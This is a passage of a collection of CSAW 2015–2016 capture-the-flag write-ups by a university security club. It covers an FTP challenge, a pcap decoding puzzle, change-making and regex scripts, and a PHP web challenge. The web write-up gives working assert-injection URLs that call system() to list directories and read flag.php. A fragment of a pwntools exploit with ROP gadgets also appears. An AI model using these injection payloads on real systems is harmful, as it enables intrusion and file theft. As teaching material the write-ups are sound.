confirmation') 87 | d = os.path.dirname('./tmp/'+fname) 88 | if not os.path.exists(d): 89 | os.makedirs('./tmp/'+fname) 90 | with open('./tmp/'+fname, 'wb') as f: 91 | f.write(tmp) 92 | return tmp 93 | 94 | 95 | 96 | def dump_program(): 97 | r.send('L2hvbWUvY3RmL2NzYXcvcGx1Z2luL21lbWVtYWNoaW5lLnNv\n') 98 | 99 | r.recvuntil('w/e\n') 100 | binary = '' 101 | while(r.can_recv(1)): 102 | binary += r.recv() 103 | with open('meme.bin', 'wb') as f: 104 | f.write(binary) 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | if __name__ == '__main__': 113 | main() 114 | r.interactive() 115 | 116 | 117 | ''' 118 | 119 | 120 | XDG_SESSION_ID=1 121 | rvm_bin_path=/home/ctf/.rvm/bin 122 | GEM_HOME=/home/ctf/.rvm/gems/ruby-2.2.1 123 | TERM=xterm 124 | SHELL=/bin/bash 125 | IRBRC=/home/ctf/.rvm/rubies/ruby-2.2.1/.irbrc 126 | OLDPWD=/home/ctf 127 | MY_RUBY_HOME=/home/ctf/.rvm/rubies/ruby-2.2.1 128 | USER=ctfLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;SUDO_USER=ubuntu_system_type=LinuxSUDO_UID=1000rvm_path=/home/ctf/.rvmUSERNAME=rootrvm_prefix=/home/ctfMAIL=/var/mail/ctfPATH=/home/ctf/.rvm/gems/ruby-2.2.1/bin:/home/ctf/.rvm/gems/ruby-2.2.1@global/bin:/home/ctf/.rvm/rubies/ruby-2.2.1/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/home/ctf/.rvm/binPWD=/home/ctf/csawLANG=en_US.UTF-8_system_arch=x86_64_system_version=14.04rvm_version=1.26.11 (latest)HOME=/home/ctfSUDO_COMMAND=/bin/su ctfSHLVL=2LOGNAME=ctfGEM_PATH=/home/ctf/.rvm/gems/ruby-2.2.1:/home/ctf/.rvm/gems/ruby-2.2.1@globalLESSOPEN=| /usr/bin/lesspipe %sSUDO_GID=1000XDG_RUNTIME_DIR=/run/user/1000LESSCLOSE=/usr/bin/lesspipe %s %sRUBY_VERSION=ruby-2.2.1_system_name=Ubuntu_=/usr/bin/socatSOCAT_PID=19801SOCAT_PPID=1005SOCAT_VERSION=1.7.2.3SOCAT_SOCKADDR=172.31.38.89SOCAT_SOCKPORT=1337SOCAT_PEERADDR=69.255.29.32SOCAT_PEERPORT=48823 129 | 130 | 131 | ''' 132 | 133 | 134 | 135 | ''' 136 | 137 | 0x0000000000000937 : ret 138 | 0x000000000010a474 : mov rdi, rbp ; lea r9, qword ptr [rsp + 0x18] ; call qword ptr [rax] 139 | remote: 0x0000000000120173 : mov rdi, rbp ; call qword ptr [rax] 140 | 0x00000000000a8ce0 : mov rdi, qword ptr [rax] ; call r14 141 | 142 | ''' 143 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploite300-ftp2.md: -------------------------------------------------------------------------------- 1 | # Exploit 300 - ftp2 2 | 3 | This challenge built off of Reversing300 (ftp) and which bspar solved using Z3. The password to the FTP service is `aDWX-|'` 4 | 5 | Since this challenge reuses the Rev300 binary, you should already be familiar with how it looks in IDA. So if IDA's not already open, go ahead and open it back up...just kidding! After bspar shared the pass, I threw it into a pwntools script to check out what was going on once logged in. Here is the script that I used: 6 | 7 | ``` 8 | #!/usr/bin/env python2 9 | 10 | from pwn import * 11 | import struct 12 | 13 | local = True #true = remote, false = local 14 | 15 | if local: 16 | p = process('./ftp_0319deb1c1c033af28613c57da686aa7') 17 | r = remote('localhost', 12012) 18 | else: 19 | r = remote('54.175.183.202', 12012) 20 | 21 | #context.log_level = 'debug' 22 | 23 | print r.recv() 24 | s = r.sendline("USER blankwall") 25 | print r.recvline() 26 | s = r.send("PASS aDWX-|'") 27 | print r.recv() 28 | 29 | s = r.interactive() 30 | ``` 31 | After running the script and logging in, you're presented with: 32 | ``` 33 | Welcome to FTP server 34 | USER blankwall 35 | Please send password for user blankwall 36 | PASS aDWX-|' 37 | logged in 38 | HELP 39 | USER PASS PASV PORT 40 | NOOP REIN LIST SYST SIZE 41 | RETR STOR PWD CWD 42 | ``` 43 | The first command I tried was LIST, but the FTP server stated that PASV was requirred first. So let's type that in. 44 | ``` 45 | $ pasv 46 | PASV succesful listening on port: 64128 47 | ``` 48 | Well it looks like the `PASV` command worked and the FTP server is now listening on the port listed. Let's see if we can connect to it with netcat from another terminal after typing in `LIST`. 49 | ``` 50 | $ nc 54.172.10.117 63323 51 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 ftp_0319deb1c1c033af28613c57da686aa7 52 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .bashrc 53 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .bash_history 54 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 run.sh 55 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 flag.txt 56 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .profile 57 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 .bash_logout 58 | drwxr-xr-x 1 0 0 4096 Sep 20 05:22 re_solution.txt 59 | drwxr-xr-x 1 0 0 4096 0 4096 .selected_editor 60 | ``` 61 | Whoa, it worked! And look, there's the `re_solution.txt` file that contains the flag for the Reversing300 challenge. But wait, there's another file named `flag.txt`. Could that the flag that we need be in here? Let's find out! 62 | 63 | By now the FTP server will have most likely timed out, so log back in and setup another `PASV` port. Once logged in type `RETR flag.txt`. Switch over to the the other terminal that we used for netcat previously and this time enter `nc 54.172.10.117 63323`. What all of this does is to setup the server to send the `flag.txt` file once we connect to it, and then the content of `flat.txt` will be displayed in our netcat session. 64 | We end up getting `flag{exploiting_ftp_servers_in_2015}` 65 | 66 | Of course this is way too easy. The challenge was supposed to prevent being able to directly retrieve the `flag.txt` file, but a bug prevented that from happening. 67 | -------------------------------------------------------------------------------- /csaw2015-quals/Forensics100-transfer.md: -------------------------------------------------------------------------------- 1 | # Forensics 100 - transfer 2 | 3 | In this challenge, we are given a pcap file and told that within it contains the flag. 4 | 5 | Let's go ahead and load the pcap in WireShark and then do a search to see if the term `flag` is found in any of the packets. 6 | 7 | ![](http://i.imgur.com/EGaAkLj.png) 8 | 9 | Well look at that, the organizers made it easy on use to find what we were looking for. Let's follow the TCP stream to get a better idea of what we're working with. 10 | 11 | ![](http://i.imgur.com/MB5ZwhL.png) 12 | 13 | Ok now things are starting to fit together. This instantly jumps out as being a Python script (right? ;-). But the formatting is off, so we'll need to fix it. Let's grab the text and paste it into our favorite code editor and clean things up. 14 | ``` 15 | #!/usr/bin/env python2 16 | 17 | import string 18 | import random 19 | from base64 import b64encode, b64decode 20 | 21 | FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' 22 | 23 | enc_ciphers = ['rot13', 'b64e', 'caesar'] 24 | # dec_ciphers = ['rot13', 'b64d', 'caesard'] 25 | 26 | def rot13(s): 27 | _rot13 = string.maketrans( 28 | "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 29 | "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") 30 | return string.translate(s, _rot13) 31 | 32 | def b64e(s): 33 | return b64encode(s) 34 | 35 | def caesar(plaintext, shift=3): 36 | alphabet = string.ascii_lowercase 37 | shifted_alphabet = alphabet[shift:] + alphabet[:shift] 38 | table = string.maketrans(alphabet, shifted_alphabet) 39 | return plaintext.translate(table) 40 | 41 | def encode(pt, cnt=50): 42 | tmp = '2{}'.format(b64encode(pt)) 43 | for cnt in xrange(cnt): 44 | c = random.choice(enc_ciphers) 45 | i = enc_ciphers.index(c) + 1 46 | _tmp = globals()[c](tmp) 47 | tmp = '{}{}'.format(i, _tmp) 48 | return tmp 49 | 50 | if __name__ == '__main__': 51 | print encode(FLAG, cnt=?) 52 | ``` 53 | Whew, that's better! Each period that preceeded a line represented a tab (or four spaces). Also, I added the shebang line so that the script can be interpreted through the command line and removed the text at the end of the stream. We'll need this later though... 54 | 55 | Now we need to figure out what the script is doing and we'll start by examing how the encoding works. There is an array of names of ciphers created that allows the script to call the functions that they represent. To make things easier, I'll comment the code to explain: 56 | 57 | ``` 58 | def encode(pt, cnt=50): #sets cnt to 50 if no value is passed to cnt 59 | tmp = '2{}'.format(b64encode(pt)) #the original data is base64 encoded and a 2 is placed at the 60 | #beginning of the string. The 2 matches the position+1 in the 61 | #enc_ciphers array of b64enc 62 | for cnt in xrange(cnt): 63 | c = random.choice(enc_ciphers) #randomly select which cipher to encode for this loop 64 | i = enc_ciphers.index(c) + 1 #the index+1 of the random cipher in enc_ciphers 65 | _tmp = globals()[c](tmp) #calls the corresponding encoding function from the random selection 66 | tmp = '{}{}'.format(i, _tmp) #prepend the encoded data with the cipher number used 67 | return tmp 68 | ``` 69 | Pretty straightforward, so decoding should be pretty easy. What we'll need to do is grab the number at the beginning of our encoded string to find the cipher used during that iteration, and then decode the rest of the string. This can be scripted to loop until `flag` is found since we don't know how many times the data was encoded. But first we'll need to have the neccessary functions to do the decoding. 70 | 71 | Quickly 72 | rot13 uses rot13 to decode itself 73 | base64 can use the builtin python base64decode function 74 | ceaser is just a shift by a specific number of letters (in this case 3), so we can define the `ceaserd` function to call the `ceaser` function with a shift of -3. Crafty, huh? 75 | 76 | Now that the decoders are out of the way, it's time to tackle writing the `decode` function. Again, for simplicities sake, I've commented the code below. 77 | 78 | ``` 79 | def decode(pt): 80 | while "flag" not in pt: #we want to keep looping until 'flag' is in our 81 | #decoded string 82 | cipher = dec_ciphers[int(pt[:1]) - 1] #This takes the beginning char of our string to 83 | #determine the cipher used 84 | text = pt[1:] #Our encoded data 85 | pt = globals()[cipher](text) #Decodes the data 86 | return pt 87 | ``` 88 | Eazy peezy. Now we just need to add our encoded string to our script and modify main to call our decode function instead of the encode one. Once that's done we can run our script and get `flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}` 89 | 90 | -------------------------------------------------------------------------------- /csaw2016-quals/README.md: -------------------------------------------------------------------------------- 1 | CSAW 2016 Quals 2 | -------------------------------------------------------------------------------- /csaw2016-quals/coinslot/README.md: -------------------------------------------------------------------------------- 1 | # CSAW 2016 Quals 2 | # coinslot 3 | ##### Brad Daniels -- USF Whitehatter's Computer Security Club 4 | ##### misc -- 25 points 5 | ## Description 6 | 7 | \#Hope \#Change \#Obama2008 8 | 9 | `nc misc.chal.csaw.io 8000` 10 | 11 | ## Solution 12 | The server gives us the following. 13 | ~~~ 14 | sh$ nc misc.chal.csaw.io 8000 15 | $0.03 16 | $10,000 bills: 0 17 | $5,000 bills: 0 18 | $1,000 bills: 0 19 | $500 bills: 0 20 | $100 bills: 0 21 | 0$50 bills: 0 22 | $20 bills: 0 23 | $10 bills: 0 24 | $5 bills: 0 25 | $1 bills: 0 26 | half-dollars (50c): 0 27 | quarters (25c): 0 28 | dimes (10c): 0 29 | nickels (5c): 0 30 | pennies (1c): 3 31 | correct! 32 | $0.01 33 | $10,000 bills: 1 34 | ... 35 | ~~~ 36 | It's a classic [change-making problem](https://en.wikipedia.org/wiki/Change-making_problem)! 37 | 38 | This was relatively straightforward to code a solution to, however I did run into some issues with Python occasionally casting the change string to an incorrect float, so I opted to convert everything to integers (# of pennies). 39 | 40 | ~~~python 41 | import socket 42 | import re 43 | 44 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 45 | s.connect(("misc.chal.csaw.io", 8000)) 46 | 47 | resp = s.recv(1024) 48 | print resp, 49 | 50 | while len(resp) > 0: 51 | 52 | m = re.match(".*\$(\d{1,50})\.(\d\d).*", resp, re.DOTALL) 53 | if m: 54 | change = int(m.group(1)) * 100 + int(m.group(2)) 55 | else: 56 | resp = s.recv(1024) 57 | print resp 58 | quit() 59 | 60 | denoms = [1000000, 500000, 100000, 50000, 10000, 5000, 2000, 61 | 1000, 500, 100, 50, 25, 10, 5, 1] 62 | 63 | for denom in denoms: 64 | num = 0 65 | num = change/denom 66 | print num 67 | if num > 0: 68 | change = change - (denom * num) 69 | s.send(str(num) + '\n') 70 | resp = s.recv(1024) 71 | print resp, 72 | ~~~ 73 | 15 minutes later, we get the flag: 74 | ~~~ 75 | ... 76 | $81667.36 77 | $10,000 bills: 8 78 | $5,000 bills: 0 79 | $1,000 bills: 1 80 | $500 bills: 1 81 | $100 bills: 1 82 | $50 bills: 1 83 | $20 bills: 0 84 | $10 bills: 1 85 | $5 bills: 1 86 | $1 bills: 2 87 | half-dollars (50c): 0 88 | quarters (25c): 1 89 | dimes (10c): 1 90 | nickels (5c): 0 91 | pennies (1c): 1 92 | correct! 93 | flag{started-from-the-bottom-now-my-whole-team-fucking-here} 94 | ~~~ 95 | -------------------------------------------------------------------------------- /csaw2016-quals/coinslot/cointslot.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import re 3 | 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.connect(("misc.chal.csaw.io", 8000)) 6 | 7 | resp = s.recv(1024) 8 | print resp, 9 | 10 | while len(resp) > 0: 11 | 12 | m = re.match(".*\$(\d{1,50})\.(\d\d).*", resp, re.DOTALL) 13 | if m: 14 | change = int(m.group(1)) * 100 + int(m.group(2)) 15 | else: 16 | resp = s.recv(1024) 17 | print resp 18 | quit() 19 | 20 | denoms = [1000000, 500000, 100000, 50000, 10000, 5000, 2000, 21 | 1000, 500, 100, 50, 25, 10, 5, 1] 22 | 23 | for denom in denoms: 24 | num = 0 25 | num = change/denom 26 | print num 27 | if num > 0: 28 | change = change - (denom * num) 29 | s.send(str(num) + '\n') 30 | resp = s.recv(1024) 31 | print resp, 32 | 33 | -------------------------------------------------------------------------------- /csaw2016-quals/fuzyll/solve_fuzyll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", 4 | "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", 5 | "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", 6 | "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"] 7 | 8 | message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z" 9 | 10 | def decode(i): 11 | if i == 0: 12 | return chars.index(message[i]) 13 | else: 14 | return 52*decode(i-1) + chars.index(message[i]) 15 | 16 | inpt = decode(len(message) -1) 17 | 18 | flag = [] 19 | i = len(message) 20 | while i >= 0: 21 | for c in range(32,126): 22 | n = (inpt - c)*1000000l/256 23 | if int(str(n)[-6:]) == 0 or n == 0: 24 | flag.append(chr(c)) 25 | inpt = (inpt - c)/256 26 | break 27 | i -= 1 28 | 29 | print ''.join(flag)[::-1] 30 | 31 | -------------------------------------------------------------------------------- /csaw2016-quals/mfw/README.md: -------------------------------------------------------------------------------- 1 | # CSAW 2016 Quals 2 | # mfw 3 | #### Cassandra Stavros -- USF Whitehatter's Computer Security Club 4 | #### web -- 125 points 5 | ## Description 6 | 7 | Hey, I made my first website today. It's pretty cool and web7.9. 8 | 9 | http://web.chal.csaw.io:8000/ 10 | 11 | ## Solution 12 | The website gives us the following information: 13 | I wrote this website all by myself in under a week! 14 | 15 | I used: 16 | 17 | * Git 18 | * PHP 19 | * Bootstrap 20 | --- 21 | From the html source code, we can see that there is a hidden flag.php page: 22 | ![screen shot](https://cloud.githubusercontent.com/assets/22091364/18804797/22dd372c-81ce-11e6-96b0-a034f3d2d970.jpg) 23 | 24 | The website author also hints that he used the above sources to create the website. A quick check of the challenge website reveals that they used GitHub as the source control repository. We can use the publically exposed .git/ directory to retreive the website source code: 25 | 26 | http://web.chal.csaw.io:8000/.git/ 27 | 28 | Information security professionals warn that publicly revealing a website's source code leaves it open to vulnerabilities (https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/). 29 | 30 | We can use this publically exposed .git/ directory to retreive the website source code. 31 | We used the `wget` command, we downloaded the .git/ directory (or use curl for Mac users): 32 | 33 | wget --mirror -I .git http://web.chal.csaw.io:8000/.git/ 34 | --- 35 | Now that we have the .git/ directory, we can explore the files in the Git repository. 36 | 37 | By typing in the following command we can get the status of proposed and deleted changes: 38 | 39 | $ git status | head -n 10 40 | 41 | Which retrieves the following file statuses: 42 | 43 | deleted: index.php 44 | deleted: templates/about.php 45 | deleted: templates/contact.php 46 | deleted: templates/flag.php 47 | deleted: templates/home.php 48 | --- 49 | 50 | We ran `git checkout -- ` to obtain the source files from the git repo> 51 | 52 | Next, we look at the current files in the directory by: 53 | 54 | $ ls 55 | 56 | Which shows that the following files exist: 57 | 58 | index.php 59 | templates 60 | --- 61 | 62 | We examined the index.php file and found that it used `assert`. We also discovered that the `$file` variable is created from unchecked user input, namely the `$_GET['page']`. We can use `$file` to command inject the `assert` statement. 63 | 64 | 75 | 76 | Per aaraonasterling on StackOverflow: 77 | >The rule of thumb which is applicable across most languages (all that I vaguely know) is that an `assert` is used to assert that a >condition is always true whereas an `if` is appropriate if it is conceivable that it will sometimes fail. (http://stackoverflow.com/questions/4516419/should-i-be-using-assert-in-my-php-code#4516444) 78 | 79 | With this in mind, we knew the way to capture the flag was to use `assert` to our advantage. First we tried some system commands through the browser, such as `http://web.chal.csaw.io:8000/?page=home%27!=0);//` and retrieved the "Detected hacking attempt!" web page. 80 | 81 | --- 82 | 83 | Next we pulled up the phpinfo page by injecting by the following command into the browser window: 84 | 85 | http://web.chal.csaw.io:8000/?page=home%27).%20phpinfo();%20// 86 | 87 | Which retrieved all of the information and configuration of the website: 88 | 89 | ![screen shot](https://cloud.githubusercontent.com/assets/22091364/18820566/aebaa8c0-836c-11e6-949e-5bfa89b3cade.jpg) 90 | 91 | Success! we have injected the `phpinfo();` command into the script sources on the live web page. 92 | 93 | --- 94 | 95 | We then tried the `system()` call to launch commands on the machine and the `ls` command to list the directory contents with `http://web.chal.csaw.io:8000/?page=home%27).%20system(%22ls%20-lah%22);%20//`: 96 | 97 | ![screen shot](https://cloud.githubusercontent.com/assets/22091364/18804401/47677144-81c8-11e6-9b6a-e766fa952723.png) 98 | 99 | As we can see, the directory contains a .git/ folder, a templates/ folder and the index.php source. 100 | 101 | --- 102 | 103 | We explored the templates/ folder by using `http://web.chal.csaw.io:8000/?page=home%27).%20system(%22ls%20-lah%20templates%22);%20//`: 104 | 105 | ![screen shot](https://cloud.githubusercontent.com/assets/22091364/18804405/477075b4-81c8-11e6-9405-21acd8aee0db.png) 106 | 107 | Within this directory we saw flag.php. We examined flag.php next. 108 | 109 | --- 110 | 111 | Lastly, we used the cat command to print out the flag.php contents. We were still in the home directory, so we used the relative path `templates/flag.php` through `http://web.chal.csaw.io:8000/?page=home%27).%20system("cat%20templates/flag.php")%20//`: 112 | 113 | ![screen shot](https://cloud.githubusercontent.com/assets/22091364/18804402/4769ba94-81c8-11e6-988d-3f066bad6cc6.png) 114 | 115 | *Many thanks to prole for helping me edit this write-up* 116 | -------------------------------------------------------------------------------- /csaw2016-quals/regexpire/README.md: -------------------------------------------------------------------------------- 1 | # CSAW 2016 Quals 2 | # Regexpire 3 | ##### Patricia Wilthew -- USF Whitehatter's Computer Security Club 4 | ##### misc -- 100 points 5 | ## Description 6 | 7 | I thought I found a perfect match but she ended up being my regEx girlfriend. 8 | 9 | Note: You can't use newlines inside your match. 10 | 11 | `nc misc.chal.csaw.io 8001` 12 | 13 | ## Solution 14 | The server prints 15 | ~~~ 16 | Can you match these regexes? 17 | 5lfb*(clementine|chair)+[1-9]{8}[eHf]*eK{2}K{2} 18 | ~~~ 19 | And it gives us some seconds to create a phrase that belongs to that regular expression * 20 | 21 | \* Read about regular expressions -> https://msdn.microsoft.com/en-us/library/ae5bf541(v=vs.100).aspx 22 | A possible phrase (or matching phrase) that belongs to that regular expression would be: 5lfbbbclementinechairclementine11111111eHfeKKKK 23 | 24 | The problem is that it gives us 10 seconds to come up with a phrase, and as soon as we enter it (which is nearly impossible as we have only 10 seconds), it's gonna ask us to match another regular expression... 25 | 26 | Therefore, we have to write a code that given a regular expression, would generate any phrase that matches it. 27 | 28 | I found a pip library called 'rstr' that has a method called 'xeger' that would do what we need it to do. 29 | The only problem was that sometimes it was creating phrases with tabs and newlines, so brad_d added some replacements: 30 | ~~~python 31 | strToMatch = rstr.xeger(pattern) 32 | strToMatch = strToMatch.replace('\n', ' ') 33 | strToMatch = strToMatch.replace('\t', ' ') 34 | ~~~ 35 | 36 | And this is the whole code: 37 | ~~~python 38 | # Chal: Regexpire 39 | import sys 40 | import rstr # First run: sudo pip install rstr 41 | import re 42 | import socket 43 | 44 | # Connect to server 45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 46 | s.connect(("misc.chal.csaw.io", 8001)) 47 | 48 | while 1: 49 | # Receive 1024 bytes from their server 50 | resp = s.recv(1024) 51 | 52 | # Print the first message from the server, which is "Can you match ...." 53 | if resp == 'Can you match these regexes?\n': 54 | 55 | print (resp) 56 | 57 | # If their server sends Time Out, exit the program 58 | elif resp == 'Timeout': 59 | 60 | print (resp) 61 | sys.exit() 62 | 63 | # If their server sends Irregular, means the last phrase sent was not a match. 64 | # Exit program 65 | elif resp == 'Irregular\n': 66 | 67 | print ('FYI: Last phrase did not match.') 68 | sys.exit() 69 | 70 | # If the server sends a different message from all of the above, 71 | # let's assume it's the Regular Expression we need 72 | else: 73 | 74 | # Resp contains the given R.E. 75 | print (resp) 76 | 77 | # Pattern contains the R.E. in Python's Syntax 78 | pattern = re.compile(resp[0:len(resp)-1]) 79 | 80 | # If pattern is empty, exit 81 | if len(list(pattern.pattern)) == 0: 82 | sys.exit() 83 | 84 | # Making sure the phrase doesn't have tabs or newlines 85 | strToMatch = rstr.xeger(pattern) 86 | strToMatch = strToMatch.replace('\n', ' ') 87 | strToMatch = strToMatch.replace('\t', ' ') 88 | 89 | # Send the matching phrase to the server and print it 90 | s.send(strToMatch + '\n') 91 | print (strToMatch + '\n') 92 | ~~~ 93 | The program will run for a while (1 to 2 minutes), then it will print the flag: 94 | ~~~ 95 | ..... 96 | 97 | 6{8}z(potato|cat){7}[mjZdcq]*e*[P4n0\DruOD.]{5}9*[i-r]*E[VzF0qQ7\Wl] 98 | 99 | 66666666zpotatopotatopotatocatcatpotatopotatoqjcqZccjqcdqcZdjdjjZqjqjqZmZeeeeeeeeeeeeee4uD!r9999999999999999999999999999999999999999999999999999999999999999999999999999999jpmlimnqpqiqqkllnmkmpjipprkkrmrpolnlklnmlronrqlmjronkirpqmEq 100 | 101 | flag{^regularly_express_yourself$} 102 | 103 | flag{regularly_express_yourself} 104 | 105 | ~~~ 106 | -------------------------------------------------------------------------------- /csaw2016-quals/regexpire/regexpire.txt: -------------------------------------------------------------------------------- 1 | # CSAW 2016 Quals 2 | # Regexpire 3 | ##### Patricia Wilthew -- USF Whitehatter's Computer Security Club 4 | ##### misc -- 100 points 5 | ## Description 6 | 7 | I thought I found a perfect match but she ended up being my regEx girlfriend. 8 | 9 | Note: You can't use newlines inside your match. 10 | 11 | `nc misc.chal.csaw.io 8001` 12 | 13 | ## Solution 14 | The server prints 15 | ~~~ 16 | Can you match these regexes? 17 | 5lfb*(clementine|chair)+[1-9]{8}[eHf]*eK{2}K{2} 18 | ~~~ 19 | And it gives us some seconds to create a phrase that belongs to that regular expression * 20 | 21 | * Read about regular expressions -> https://msdn.microsoft.com/en-us/library/ae5bf541(v=vs.100).aspx 22 | A possible phrase (or matching phrase) that belongs to that regular expression would be: 5lfbbbclementinechairclementine11111111eHfeKKKK 23 | 24 | The problem is that it gives us 10 seconds to come up with a phrase, and as soon as we enter it (which is nearly impossible as we have only 10 seconds), it's gonna ask us to match another regular expression... 25 | 26 | Therefore, we have to write a code that given a regular expression, would generate any phrase that matches it. 27 | 28 | I found a pip library called 'rstr' that has a method called 'xeger' that would do what we need it to do. 29 | The only problem was that sometimes it was creating phrases with tabs and newlines, so brad_d added some replacements: 30 | ~~~python 31 | strToMatch = rstr.xeger(pattern) 32 | strToMatch = strToMatch.replace('\n', ' ') 33 | strToMatch = strToMatch.replace('\t', ' ') 34 | ~~~ 35 | 36 | And this is the whole code: 37 | ~~~python 38 | # Chal: Regexpire 39 | import sys 40 | import rstr # First run: sudo pip install rstr 41 | import re 42 | import socket 43 | 44 | # Connect to server 45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 46 | s.connect(("misc.chal.csaw.io", 8001)) 47 | 48 | while 1: 49 | # Receive 1024 bytes from their server 50 | resp = s.recv(1024) 51 | 52 | # Print the first message from the server, which is "Can you match ...." 53 | if resp == 'Can you match these regexes?\n': 54 | 55 | print (resp) 56 | 57 | # If their server sends Time Out, exit the program 58 | elif resp == 'Timeout': 59 | 60 | print (resp) 61 | sys.exit() 62 | 63 | # If their server sends Irregular, means the last phrase sent was not a match. 64 | # Exit program 65 | elif resp == 'Irregular\n': 66 | 67 | print ('FYI: Last phrase did not match.') 68 | sys.exit() 69 | 70 | # If the server sends a different message from all of the above, 71 | # let's assume it's the Regular Expression we need 72 | else: 73 | 74 | # Resp contains the given R.E. 75 | print (resp) 76 | 77 | # Pattern contains the R.E. in Python's Syntax 78 | pattern = re.compile(resp[0:len(resp)-1]) 79 | 80 | # If pattern is empty, exit 81 | if len(list(pattern.pattern)) == 0: 82 | sys.exit() 83 | 84 | # Making sure the phrase doesn't have tabs or newlines 85 | strToMatch = rstr.xeger(pattern) 86 | strToMatch = strToMatch.replace('\n', ' ') 87 | strToMatch = strToMatch.replace('\t', ' ') 88 | 89 | # Send the matching phrase to the server and print it 90 | s.send(strToMatch + '\n') 91 | print (strToMatch + '\n') 92 | ~~~ 93 | The program will run for a while (1 to 2 minutes), then it will print the flag: 94 | ~~~ 95 | ..... 96 | 97 | 6{8}z(potato|cat){7}[mjZdcq]*e*[P4n0\DruOD.]{5}9*[i-r]*E[VzF0qQ7\Wl] 98 | 99 | 66666666zpotatopotatopotatocatcatpotatopotatoqjcqZccjqcdqcZdjdjjZqjqjqZmZeeeeeeeeeeeeee4uD!r9999999999999999999999999999999999999999999999999999999999999999999999999999999jpmlimnqpqiqqkllnmkmpjipprkkrmrpolnlklnmlronrqlmjronkirpqmEq 100 | 101 | flag{^regularly_express_yourself$} 102 | 103 | flag{regularly_express_yourself} 104 | 105 | ~~~ 106 | -------------------------------------------------------------------------------- /csaw2016-quals/rock/README.md: -------------------------------------------------------------------------------- 1 | # CSAW 2016 Quals 2 | # The Rock 3 | ##### Brad Daniels -- USF Whitehatter's Computer Security Club 4 | ##### reversing -- 100 points 5 | ## Description 6 | 7 | Never forget the people's champ. 8 | 9 | ## Solution 10 | We're given a binary 64-bit ELF binary. It seems to take an input from STDIN and produce some output. 11 | 12 | 